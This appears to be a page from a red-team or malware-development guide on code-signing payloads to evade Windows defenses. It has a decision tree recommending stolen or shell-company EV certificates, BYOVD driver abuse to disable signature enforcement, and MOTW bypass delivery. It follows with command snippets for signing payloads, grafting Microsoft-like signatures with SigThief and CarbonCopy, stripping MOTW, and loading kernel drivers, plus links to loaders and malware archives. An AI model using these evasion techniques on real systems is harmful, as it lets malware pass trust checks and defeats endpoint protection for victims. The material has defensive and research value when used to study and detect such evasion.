Decision Tree — Which Signing Approach?

Need to sign a payload?
│
├─ CTF / Lab environment?
│   └─ Self-signed cert → fast, sufficient for basic checks
│
├─ Real red team engagement?
│   │
│   ├─ Target has SmartScreen / SAC (Windows 11)?
│   │   ├─ High budget / APT simulation?
│   │   │   └─ Stolen EV cert OR purchased EV (shell company)
│   │   │       + Timestamp → maximum bypass
│   │   └─ Limited budget?
│   │       └─ Purchased OV cert ($300)
│   │           + Build reputation before operation
│   │
│   ├─ Target has basic AV only?
│   │   └─ Self-signed + timestamp + matching VersionInfo metadata
│   │
│   ├─ Need kernel driver?
│   │   └─ BYOVD: loldrivers.io → RTCore64.sys / DBUtil_2_3.sys
│   │       → DSE disable → load unsigned driver
│   │
│   ├─ PowerShell in AllSigned environment?
│   │   └─ Sign .ps1 with code signing cert
│   │       OR deliver via IEX + download (bypasses file policy)
│   │
│   └─ .NET implant?
│       └─ Authenticode sign DLL/EXE + Optional StrongName
│
├─ Deliver without MOTW?
│   ├─ SMB share delivery
│   ├─ RDP clipboard transfer
│   ├─ WinRAR archive
│   └─ In-memory injection (no file = no MOTW)
│
└─ OPSEC priority?
    ├─ Don't use self-signed (trivially detected)
    ├─ Always timestamp (prevents cert expiry issues)
    ├─ Match VERSIONINFO to cert Subject exactly
    └─ Rotate certs per engagement (don't reuse)

Key Commands Summary

# osslsigncode (Linux)
osslsigncode sign -pkcs12 cert.pfx -pass PASS -h sha256 -ts http://timestamp.digicert.com -in in.exe -out out.exe
osslsigncode verify -in out.exe -v
osslsigncode remove-signature -in out.exe -out unsigned.exe

# OpenSSL cert generation
openssl genrsa -out key.pem 2048
openssl req -new -key key.pem -out csr.pem -subj "/CN=Publisher Name/O=Company/C=US"
openssl x509 -req -days 1825 -in csr.pem -signkey key.pem -out cert.pem
openssl pkcs12 -export -out cert.pfx -inkey key.pem -in cert.pem -passout pass:PASSWORD

# SigThief
python3 sigthief.py -i legit.exe -t payload.exe -o signed_payload.exe

# CarbonCopy
python3 CarbonCopy.py www.microsoft.com 443 payload.exe signed_payload.exe
# PowerShell signing
New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=Name" -CertStoreLocation "Cert:\CurrentUser\My"
Set-AuthenticodeSignature -FilePath file.exe -Certificate $cert -TimestampServer "http://timestamp.digicert.com"
Get-AuthenticodeSignature file.exe | Select Status, SignerCertificate
Unblock-File -Path downloaded.exe  # Remove MOTW
Get-Item file.exe -Stream *        # Check for ADS / MOTW
:: signtool.exe (Windows SDK)
signtool.exe sign /f cert.pfx /p PASS /fd SHA256 /tr http://timestamp.digicert.com /td SHA256 payload.exe
signtool.exe verify /pa /v payload.exe
signtool.exe catdb /v /u catalog.cat

:: Driver loading
sc.exe create SvcName binPath= "C:\path\driver.sys" type= kernel start= demand
sc.exe start SvcName
bcdedit /set testsigning on  ← lab only, very detectable

References & Tools

Signing Tools: - signtool.exe — Windows SDK (Microsoft official) - osslsigncode — https://github.com/mtrojnar/osslsigncode (Linux/macOS Authenticode) - SigThief — https://github.com/secretsquirrel/SigThief (certificate grafting) - CarbonCopy — https://github.com/paranoidninja/CarbonCopy (cert identity cloning) - Invoke-Mimikatz signing wrappers — various GitHub repos

Kernel / Driver: - LOLDrivers — https://www.loldrivers.io (signed vulnerable driver database) - KDMapper — https://github.com/TheCruZ/kdmapper (unsigned driver loader via iqvw64e.sys) - gdrv-loader — https://github.com/namazso/gdrv-loader (GIGABYTE DSE bypass)

Certificate Research: - crt.sh — https://crt.sh (Certificate Transparency log search) - Censys Certificates — https://search.censys.io/certificates (search issued certs) - MalwareBazaar — https://bazaar.abuse.ch (signed malware samples) - VirusTotal — Filter by tag:signed for signed malware analysis

Further Reading: - SpecterOps — "MotW Bypass Research" (MOTW propagation gaps) - Matt Graeber — Authenticode and PowerShell signing deep dives - Google Project Zero — Authenticode verification research - Microsoft MSDN — Authenticode (WinVerifyTrust API) - DigiCert — Code Signing Best Practices - Red Team Notes — https://www.ired.team (binary signing and evasion) - VX-Underground — https://vx-underground.org (signed malware sample archive)


← Malware development top ↑